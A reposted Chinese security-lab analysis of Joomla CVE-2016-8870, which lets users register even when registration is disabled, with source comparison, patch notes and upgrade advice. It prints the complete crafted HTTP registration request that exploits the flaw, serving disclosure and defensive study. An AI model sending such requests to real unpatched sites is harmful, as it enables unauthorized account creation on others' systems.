【漏洞研究】[漏洞分析]Joomla未授权创建用户漏洞(CVE20168870)分析

Author: p0wd3r (知道创宇404安全实验室)

Date: 2016-10-26

0x00 漏洞概述

1.漏洞简介

Joomla是一个自由开源的内容管理系统,近日研究者发现在其3.4.4到3.6.3的版本中存在两个漏洞:CVE-2016-8869,CVE-2016-8870。我们在这里仅分析CVE-2016-8870,利用该漏洞,攻击者可以在网站关闭注册的情况下注册用户。Joomla官方已对此漏洞发布升级公告。

2.漏洞影响

网站关闭注册的情况下仍可创建用户

3.影响版本

3.4.4 to 3.6.3

0x01 漏洞复现

1. 环境搭建

  1. wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz


解压后放到服务器目录下,例如/var/www/html

创建个数据库:

  1. docker run --name joomla-mysql -e MYSQL_ROOT_PASSWORD=hellojoomla -e MYSQL_DATABASE=jm -d mysql


访问服务器路径进行安装即可。

2.漏洞分析

在存在漏洞的版本中我们可以看到一个有趣的现象,即存在两个用于用户注册的方法:

位于components/com_users/controllers/registration.php中的UsersControllerRegistration::register()
位于components/com_users/controllers/user.php中的UsersControllerUser::register()
我们对比一下代码:

  1. UsersControllerRegistration::register():
  2. public function register()  
  3.     {
  4.         // Check for request forgeries.
  5.         JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
  6.         // If registration is disabled - Redirect to login page.
  7.         if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0)
  8.         {
  9.             $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));
  10.             return false;
  11.         }
  12.         $app   = JFactory::getApplication();
  13.         $model = $this->getModel('Registration', 'UsersModel');
  14.         // Get the user data.
  15.         $requestData = $this->input->post->get('jform', array(), 'array');
  16.         // Validate the posted data.
  17.         $form = $model->getForm();
  18.         ...
  19.     }
  20. UsersControllerUser::register():
  21. public function register()  
  22.     {
  23.         JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN'));
  24.         // Get the application
  25.         $app = JFactory::getApplication();
  26.         // Get the form data.
  27.         $data = $this->input->post->get('user', array(), 'array');
  28.         // Get the model and validate the data.
  29.         $model  = $this->getModel('Registration', 'UsersModel');
  30.         $form = $model->getForm();
  31.         ...
  32.     }


可以看到相对于UsersControllerRegistration::register(),UsersControllerUser::register()的实现中并没有这几行代码:

  1. // If registration is disabled - Redirect to login page.
  2. if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0)  
  3. {
  4.     $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));
  5.     return false;
  6. }


这几行代码是检查是否允许注册,也就是说如果我们可以用UsersControllerUser::register()这个方法来进行注册就可以绕过这个检测。

通过测试可知正常的注册使用的是UsersControllerRegistration::register(),请求包如下:

  1. POST /index.php/component/users/?task=registration.register HTTP/1.1  
  2. ...
  3. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI  
  4. ...
  5. Cookie: yourcookie
  6. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  7. Content-Disposition: form-data; name="jform[name]"
  8. tomcat  
  9. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  10. Content-Disposition: form-data; name="jform[username]"
  11. tomcat  
  12. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  13. Content-Disposition: form-data; name="jform[password1]"
  14. tomcat  
  15. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  16. Content-Disposition: form-data; name="jform[password2]"
  17. tomcat  
  18. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  19. Content-Disposition: form-data; name="jform[email1]"
  20. [email][email protected][/email]l  
  21. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  22. Content-Disposition: form-data; name="jform[email2]"
  23. [email][email protected][/email]l  
  24. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  25. Content-Disposition: form-data; name="option"
  26. com_users  
  27. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  28. Content-Disposition: form-data; name="task"
  29. registration.register  
  30. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  31. Content-Disposition: form-data; name="yourtoken"
  32. 1  
  33. ------WebKitFormBoundaryefGhagtDbsLTW5qI--


虽然正常注册并没有使用UsersControllerUser::register(),但是并不代表我们不能使用。阅读代码可知,只要将请求包进行如下修改即可使用存在漏洞的函数进行注册:

registration.register -> user.register
jform[*] -> user[*]
所以完整的复现流程如下:

1.首先在后台关闭注册功能,关闭后首页没有注册选项:

Alt text

2.然后通过访问index.php抓包获取cookie,通过看index.php源码获取token:

Alt text

Alt text

3.构造注册请求:

  1. POST /index.php/component/users/?task=registration.register HTTP/1.1  
  2. ...
  3. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI  
  4. ...
  5. Cookie: yourcookie
  6. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  7. Content-Disposition: form-data; name="user[name]"
  8. attacker  
  9. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  10. Content-Disposition: form-data; name="user[username]"
  11. attacker  
  12. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  13. Content-Disposition: form-data; name="user[password1]"
  14. attacker  
  15. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  16. Content-Disposition: form-data; name="user[password2]"
  17. attacker  
  18. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  19. Content-Disposition: form-data; name="user[email1]"
  20. [email][email protected][/email]l  
  21. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  22. Content-Disposition: form-data; name="user[email2]"
  23. [email][email protected][/email]l  
  24. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  25. Content-Disposition: form-data; name="option"
  26. com_users  
  27. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  28. Content-Disposition: form-data; name="task"
  29. user.register  
  30. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  31. Content-Disposition: form-data; name="yourtoken"
  32. 1  
  33. ------WebKitFormBoundaryefGhagtDbsLTW5qI--


4.发包,成功注册:

Alt text

3.补丁分析

Alt text

官方删除了UsersControllerUser::register()方法。

0x02 修复方案

升级到3.6.4

0x03 参考

https://www.seebug.org/vuldb/ssvid-92496

https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html

http://www.fox.ra.it/technical-articles/how-i-found-a-joomla-vulnerability.html

https://www.youtube.com/watch?v=Q_2M2oJp5l4
厉害了
我的哥
厉害

技术交流QQ群: 397745473
来自:https://xianzhi.aliyun.com/forum/read/125.html?fpage=16

评论

此博客中的热门博文

【黑产分析】互联网业务安全的黑灰产业链的故事

【黑产分析】Aveo恶意软件分析

【黑产分析】《中国互联网地下产业链分析白皮书》